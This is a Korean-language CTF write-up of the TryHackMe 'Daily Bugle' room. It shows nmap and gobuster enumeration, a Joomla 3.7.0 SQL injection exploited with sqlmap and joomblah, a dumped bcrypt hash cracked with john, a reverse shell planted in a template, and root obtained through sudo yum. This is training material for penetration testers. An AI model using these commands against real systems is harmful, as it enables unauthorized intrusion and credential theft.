TryHackMe | CTF

TryHackMe | Daily Bugle - OSCP

건우Sec 2025. 1. 15. 17:21

Task 1 Deploy

 

1. ANSWER : 은행을 턴 주범은 누구인가요

nmap 포트 스캔부터 해주겠습니다

 

nmap -A -sV -P -T4 10.10.66.204

 

 

열린 포트

22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)

 

해당 웹서버로 들어가 보겠습니다

 

스파이더맨..?

 

은행을 턴 주범은 스파이더맨 이네요

 

 

Task 2 Obtain user and root

 

2. ANSWER : Joomla 서버에 버전은 무엇인가요

 

gobuster

경로 탐색을 해주겠습니다

gobuster dir -u http://10.10.66.204/ -w '/home/kali/Downloads/directory-list-2.3-medium.txt'

 

 

/administrator        (Status: 301) [Size: 242] [--> http://10.10.66.204/administrator/]

 

 

관리자 로그인 페이지로 들어가졌습니다

 

여기서 우린 해당 서버가 Joomla! 서버를 운영하고 있다는걸 알아냈습니다

 

어떻게 해야지 버전을 알아낼지 구글링을 한 결과

 

https://github.com/OWASP/joomscan

 

GitHub - OWASP/joomscan: OWASP Joomla Vulnerability Scanner Project https://www.secologist.com/

OWASP Joomla Vulnerability Scanner Project https://www.secologist.com/ - OWASP/joomscan

github.com

 

Joomscan 이라는 툴을 발견했습니다

 

Joomscan

git clone https://github.com/rezasp/joomscan.git      
cd joomscan
perl joomscan.pl

 

 

사용법은 간단합니다

 

perl joomscan.pl -u [URL]

 

해당 Joomla 3.7.0 버전이라는걸 확인했습니다

3. ANSWER : Jonah 에 패스워드 는 무엇인가요?

ExploitDB

 

Joomla! 3.7.0 - 'com_fields' SQL Injection

 

 

해당 서버가 SQL 인젝션 취약점이 있다는걸 알아냈습니다

 

https://www.exploit-db.com/exploits/42033

 

Joomla! 3.7.0 - 'com_fields' SQL Injection

Joomla! 3.7.0 - 'com_fields' SQL Injection EDB-ID: 42033 CVE: 2017-8917 Date: 2017-05-19

www.exploit-db.com

 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

 

sqlmap 으로 몇차례 시도한결과

 

대부분 크리티컬이 뜨거나 오래걸려 더이상 진행을 못했습니다

 

그로인해 찾은게 Joomblah 라는 Joomlah 3.7.0 sql injection 취약점 툴로 침투를 진행 하겠습니다

Joomblah

cd https://github.com/stefanlucas/Exploit-Joomla.git
cd Exploit-Joomla
python joomblah.py

python joomblah.py http://10.10.66.204/

 

 

jonah 에 사용자 이름과 패스워드 를 얻어냈습니다

 

[$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']

 

John

$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

 

 

 

해당 문자열에 형식이 뭔지 알아내야 됩니다

 

 

john --wordlist=/usr/share/wordlists/rockyou.txt jonah.txt --format=bcrypt

 

 

따라서 패스워드 는

spiderman123

 

4. ANSWER : user flag 가 무엇인가요?

 

알아낸 계정에 아이디와 크랙한 패스워드로 관리자 페이지로 로그인 했습니다

 

 

 

컨트롤 패널이 보입니다

 

템플릿 메뉴로 들어갑니다

 

 

 

템플릿 화면으로 들어가서

 

 

index.php 경로에 리버스 쉘을 업로드 해줍니다

 

 

 

리스너 설정후

 

해당 쉘을 업로드 해줍니다

 

Template Preview

 

성공적으로 쉘을 얻어낼수 있습니다

 

유저 플래그를 얻기 위해 해당 경로로 진입합니다

cd /var/www/html/
cat configuration.php

 

처음보는 패스워드를 알아냈습니다

nv5uz9r3ZEDzVjNu

 

su jjameson

 

 

cd
ls
user.txt
cat user.txt

 

27a260fe3cba712보호

 

성공적으로 user flag 를 획득 했습니다

 

5. ANSWER : root flag 가 무엇인가요?

 

sudo -l

 

(ALL) NOPASSWD: /usr/bin/yum

 

yum 이용해 권한상승을 해줘야 됩니다

 

https://gtfobins.github.io/gtfobins/yum/

 

yum | GTFOBins

Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of .rpm, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in /var/tmp, for example /var/tmp/yum-root-cR0O4h

gtfobins.github.io

해당 명령어로 권항상승을 진행한 결과

 

 

성공적으로 whoami 를 치니 root 관리자 계정으로 권한상승이 되였습니다

 

ls
jjameson
cd .
cd ..
ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cd root
ls
anaconda-ks.cfg
root.txt
cat root.txt

 

 

마지막 루트 플레그 까지 완료 !

 

 

마치며

OSCP 와 매우 흡사한 TryHackMe 에 dailybugle 를 풀어봤습니다

 

걸린 시간은 대략 2시간이 넘은거 같습니다

 

여기까지 봐주셔서 감사합니다